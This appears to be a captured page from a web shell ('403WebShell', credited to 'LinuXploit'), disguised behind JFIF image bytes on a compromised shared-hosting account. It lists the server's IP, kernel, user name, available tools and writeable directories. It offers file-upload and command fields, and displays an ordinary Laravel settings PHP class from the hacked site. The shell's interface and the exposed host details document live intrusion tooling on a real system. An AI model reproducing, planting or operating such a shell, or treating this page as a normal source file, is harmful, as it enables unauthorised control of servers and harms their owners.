����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.191.138.59
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.bofirm.com/vendor/spatie/laravel-settings/src/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.bofirm.com/vendor/spatie/laravel-settings/src/Support/PropertyReflector.php
<?php

namespace Spatie\LaravelSettings\Support;

use phpDocumentor\Reflection\Fqsen;
use phpDocumentor\Reflection\Type;
use phpDocumentor\Reflection\TypeResolver;
use phpDocumentor\Reflection\Types\AbstractList;
use phpDocumentor\Reflection\Types\Boolean;
use phpDocumentor\Reflection\Types\Compound;
use phpDocumentor\Reflection\Types\Float_;
use phpDocumentor\Reflection\Types\Integer;
use phpDocumentor\Reflection\Types\Null_;
use phpDocumentor\Reflection\Types\Nullable;
use phpDocumentor\Reflection\Types\Object_;
use phpDocumentor\Reflection\Types\String_;
use ReflectionNamedType;
use ReflectionProperty;
use Spatie\LaravelSettings\Exceptions\CouldNotResolveDocblockType;

class PropertyReflector
{
    public static function resolveType(
        ReflectionProperty $reflectionProperty
    ): ?Type {
        $reflectionType = $reflectionProperty->getType();
        $docblock = $reflectionProperty->getDocComment();

        if ($reflectionType === null && empty($docblock)) {
            return null;
        }

        if ($docblock) {
            preg_match('/@var ((?:(?:[\w?|\\\\<>,\s])+(?:\[])?)+)/', $docblock, $output_array);

            return count($output_array) === 2
                ? self::reflectDocblock($reflectionProperty, $output_array[1])
                : null;
        }

        if (! $reflectionType instanceof ReflectionNamedType) {
            return null;
        }

        $builtInTypes = [
            'int',
            'string',
            'float',
            'bool',
            'mixed',
            'array',
        ];

        if (in_array($reflectionType->getName(), $builtInTypes)) {
            return null;
        }

        $type = new Object_(new Fqsen('\\' . $reflectionType->getName()));

        return $reflectionType->allowsNull()
            ? new Nullable($type)
            : $type;
    }

    protected static function reflectDocblock(
        ReflectionProperty $reflectionProperty,
        string $type
    ): Type {
        $resolvedType = (new TypeResolver())->resolve($type);

        $isValidPrimitive = $resolvedType instanceof Boolean
            || $resolvedType instanceof Float_
            || $resolvedType instanceof Integer
            || $resolvedType instanceof String_
            || $resolvedType instanceof Object_;

        if ($isValidPrimitive) {
            return $resolvedType;
        }

        if ($resolvedType instanceof Compound) {
            return self::reflectCompound($reflectionProperty, $resolvedType);
        }

        if ($resolvedType instanceof Nullable) {
            return new Nullable(self::reflectDocblock($reflectionProperty, (string) $resolvedType->getActualType()));
        }

        if ($resolvedType instanceof AbstractList) {
            $listType = get_class($resolvedType);

            return new $listType(
                self::reflectDocblock($reflectionProperty, (string) $resolvedType->getValueType()),
                $resolvedType->getKeyType()
            );
        }

        throw CouldNotResolveDocblockType::create($type, $reflectionProperty);
    }

    private static function reflectCompound(
        ReflectionProperty $reflectionProperty,
        Compound $compound
    ): Nullable {
        if ($compound->getIterator()->count() !== 2 || ! $compound->contains(new Null_())) {
            throw CouldNotResolveDocblockType::create((string) $compound, $reflectionProperty);
        }

        $other = current(array_filter(
            iterator_to_array($compound->getIterator()),
            fn (Type $type) => ! $type instanceof Null_
        ));

        return new Nullable(self::reflectDocblock($reflectionProperty, (string) $other));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit